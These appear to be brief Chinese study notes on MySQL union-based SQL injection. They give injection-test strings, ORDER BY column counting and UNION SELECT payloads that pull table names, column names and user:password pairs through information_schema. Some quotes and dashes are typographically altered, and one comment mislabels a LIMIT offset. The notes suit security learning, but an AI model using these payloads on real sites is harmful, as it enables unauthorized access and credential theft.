1.联合查询,联合union前后两个表进行查询,两个表字段数要一致,左半边表3个字段,那右半边就写1,2,3,就好了。
2.有时候在查询语句中,出现union前面的“id=-1”或者“id=null”,是因为,正常情况下为1时,加上后段联合查询,会出现两行结果。有时程序员会设置只看第一行结果,所有要把前半段设置为假,就不会显示前段查询结果因为负数是默认不存在的,,只显示后段的。//所以有时候查不出结果的时候就试一下设置-1
3.判断注入
1’and ‘1’=’1
1’and ‘1’=’2//因为字符型左右各有一个引号,要注释掉
1’and ‘1’=’1’//根据1=2报错或根据引号报错判断注入
判断字段数
order by 直到x时报错,那字段数=x-1
联合查询查信息
union select 在查到的显位换成想查的信息
version() mysql 版本
database() 当前数据库
user() 当前用户名
group_concat()分组打印字符串函数,可以爆出查询句的所有数据
-1’ union select 1,group_concat(user(),0x3A,database(),version())—+ //0x3a是“:”的hex编码,用来隔开查询结果方便查看
利用information_schema表查数据//这里都用—+是因为”#”只对mysql有用,#号也有注释功能的
表: -1’ union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1)—+ //查第一个表
字段: -1’ union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’users’ limit 1,1))—+ // 获取 users 表第一个字段 ,以此类推
获取内容: -1’ union select 1,(select group_concat(user,0x3a,password) from users limit 1)—+
